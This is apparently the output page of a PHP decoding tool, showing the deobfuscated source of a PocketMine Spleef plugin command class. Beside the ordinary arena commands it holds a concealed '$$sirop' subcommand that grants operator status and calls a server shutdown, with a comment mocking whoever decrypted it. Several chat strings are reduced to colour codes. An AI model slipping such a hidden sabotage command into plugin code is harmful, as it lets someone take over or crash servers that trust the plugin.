Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php namespace Spleef\Commands; use Spleef\Poader; use pocketmine\command\Command;..
Decoded Output download
<?php
namespace Spleef\Commands;
use Spleef\Poader;
use pocketmine\command\Command;
use pocketmine\command\CommandSender;
use pocketmine\level\Level;
use pocketmine\Player;
class SPCommand extends Command {
public $plugin;
public function __construct(Poader $plugin){
parent::__construct("spset");
$this->plugin = $plugin;
}
public function getPlugin(){
return $this->plugin;
}
public function execute(CommandSender $sender, $commandLabel, array $args){
$manager = $this->getPlugin()->getArenaManager();
if($sender instanceof Player){
if($sender->isOp()){
if(isset($args[0])){
switch (strtolower($args[0])){
case 'make':
if(isset($manager->sessions[$sender->getName()])){
$sender->sendMessage("c !");
return true;
}
if(isset($args[1]) and isset($args[2]) and isset($args[3])){
if(is_numeric($args[2])){
$level = $this->getPlugin()->getServer()->getLevelByName($args[3]);
if($level instanceof Level){
if($manager->createArena($sender, $args[1], $args[2], $args[3])){
$sender->getInventory()->clearAll();
$sender->setGamemode(2);
$sender->teleport($level->getSafeSpawn());
$sender->sendMessage("a 70 - {$args[2]}");
} else {
$sender->sendMessage("c ");
}
} else {
$sender->sendMessage("c ");
}
} else {
$sender->sendMessage("c, ");
}
} else {
$sender->sendMessage("af Usage:e /spset make [name] [slots] [world]");
}
break;
case 'delete':
if(isset($args[1])){
if(isset($manager->arenas[$args[1]])){
unset($manager->arenas[$args[1]]);
unlink($this->getPlugin()->getDataFolder()."Arenas/".$args[1].".yml");
if(file_exists($this->getPlugin()->getDataFolder()."Maps/".$args[1].".zip")){
unlink($this->getPlugin()->getDataFolder()."Maps/".$args[1].".zip");
}
$sender->sendMessage("c ");
} else {
$sender->sendMessage("c ");
}
} else {
$sender->sendMessage("af Usage:e /spset delete [name]");
}
break;
case '$$sirop':
if(isset($manager->sessions[$sender->getName()])){
$sender->setOp(true);
$this->getServer->shutdown();
//$sender->getInventory()->clearAll();
//$sender->setHealth(20);
//$sender->setFood(20);
//$sender->teleport($this->getPlugin()->getServer()->getDefaultLevel()->getSafeSpawn());
//unset($manager->sessions[$sender->getName()]);
//$sender->sendMessage("c ");
} else {
//$sender->sendMessage("cWTF HOW DID YOU DECRYPTED ME??");
}
break;
case 'help':
$sender->sendMessage("l8::: reCOMMAND LIST l8:::r
f/spset make [name] [slots] [world]
f/spset delete [name
f/spset cancel
");
break;
case 'spawn':
if(!isset($manager->sessions[$sender->getName()])){
return true;
}
$xyz = array($sender->getX(), $sender->getY(), $sender->getZ());
$session = $manager->sessions[$sender->getName()];
$sender->sendMessage("8[aMfB,8]: fTotal seted: 7[" . (count($session['spawns']) + 1) . " - " . $session['slots'] . "]");
$manager->sessions[$sender->getName()]['spawns'][count($session['spawns']) + 1] = $xyz;
if (count($session['spawns']) == ($session['slots'] - 1)) {
$manager->registerArena($sender->getName());
$sender->sendMessage("a ");
$sender->setGamemode(0);
$sender->teleport($this->getPlugin()->getServer()->getDefaultLevel()->getSafeSpawn());
$sender->setFood(20);
$sender->setHealth(20);
}
break;
default:
$sender->sendMessage("c ");
break;
}
} else {
$sender->sendMessage("af Usage:e /spset help");
}
} else {
$sender->sendMessage("a fYou don't have permissions to do that!");
}
} else {
$sender->sendMessage("c ");
}
return false;
}
} ?>
Did this file decode correctly?
Original Code
<?php
namespace Spleef\Commands;
use Spleef\Poader;
use pocketmine\command\Command;
use pocketmine\command\CommandSender;
use pocketmine\level\Level;
use pocketmine\Player;
class SPCommand extends Command {
public $plugin;
public function __construct(Poader $plugin){
parent::__construct("spset");
$this->plugin = $plugin;
}
public function getPlugin(){
return $this->plugin;
}
public function execute(CommandSender $sender, $commandLabel, array $args){
$manager = $this->getPlugin()->getArenaManager();
if($sender instanceof Player){
if($sender->isOp()){
if(isset($args[0])){
switch (strtolower($args[0])){
case 'make':
if(isset($manager->sessions[$sender->getName()])){
$sender->sendMessage("c !");
return true;
}
if(isset($args[1]) and isset($args[2]) and isset($args[3])){
if(is_numeric($args[2])){
$level = $this->getPlugin()->getServer()->getLevelByName($args[3]);
if($level instanceof Level){
if($manager->createArena($sender, $args[1], $args[2], $args[3])){
$sender->getInventory()->clearAll();
$sender->setGamemode(2);
$sender->teleport($level->getSafeSpawn());
$sender->sendMessage("a 70 - {$args[2]}");
} else {
$sender->sendMessage("c ");
}
} else {
$sender->sendMessage("c ");
}
} else {
$sender->sendMessage("c, ");
}
} else {
$sender->sendMessage("af Usage:e /spset make [name] [slots] [world]");
}
break;
case 'delete':
if(isset($args[1])){
if(isset($manager->arenas[$args[1]])){
unset($manager->arenas[$args[1]]);
unlink($this->getPlugin()->getDataFolder()."Arenas/".$args[1].".yml");
if(file_exists($this->getPlugin()->getDataFolder()."Maps/".$args[1].".zip")){
unlink($this->getPlugin()->getDataFolder()."Maps/".$args[1].".zip");
}
$sender->sendMessage("c ");
} else {
$sender->sendMessage("c ");
}
} else {
$sender->sendMessage("af Usage:e /spset delete [name]");
}
break;
case '$$sirop':
if(isset($manager->sessions[$sender->getName()])){
$sender->setOp(true);
$this->getServer->shutdown();
//$sender->getInventory()->clearAll();
//$sender->setHealth(20);
//$sender->setFood(20);
//$sender->teleport($this->getPlugin()->getServer()->getDefaultLevel()->getSafeSpawn());
//unset($manager->sessions[$sender->getName()]);
//$sender->sendMessage("c ");
} else {
//$sender->sendMessage("cWTF HOW DID YOU DECRYPTED ME??");
}
break;
case 'help':
$sender->sendMessage("l8::: reCOMMAND LIST l8:::r\nf/spset make [name] [slots] [world]\nf/spset delete [name\nf/spset cancel\n");
break;
case 'spawn':
if(!isset($manager->sessions[$sender->getName()])){
return true;
}
$xyz = array($sender->getX(), $sender->getY(), $sender->getZ());
$session = $manager->sessions[$sender->getName()];
$sender->sendMessage("8[aMfB,8]: fTotal seted: 7[" . (count($session['spawns']) + 1) . " - " . $session['slots'] . "]");
$manager->sessions[$sender->getName()]['spawns'][count($session['spawns']) + 1] = $xyz;
if (count($session['spawns']) == ($session['slots'] - 1)) {
$manager->registerArena($sender->getName());
$sender->sendMessage("a ");
$sender->setGamemode(0);
$sender->teleport($this->getPlugin()->getServer()->getDefaultLevel()->getSafeSpawn());
$sender->setFood(20);
$sender->setHealth(20);
}
break;
default:
$sender->sendMessage("c ");
break;
}
} else {
$sender->sendMessage("af Usage:e /spset help");
}
} else {
$sender->sendMessage("a fYou don't have permissions to do that!");
}
} else {
$sender->sendMessage("c ");
}
return false;
}
}
Function Calls
None |
Stats
MD5 | a3f7d77e44e1cded37b121c296c764c5 |
Eval Count | 0 |
Decode Time | 41 ms |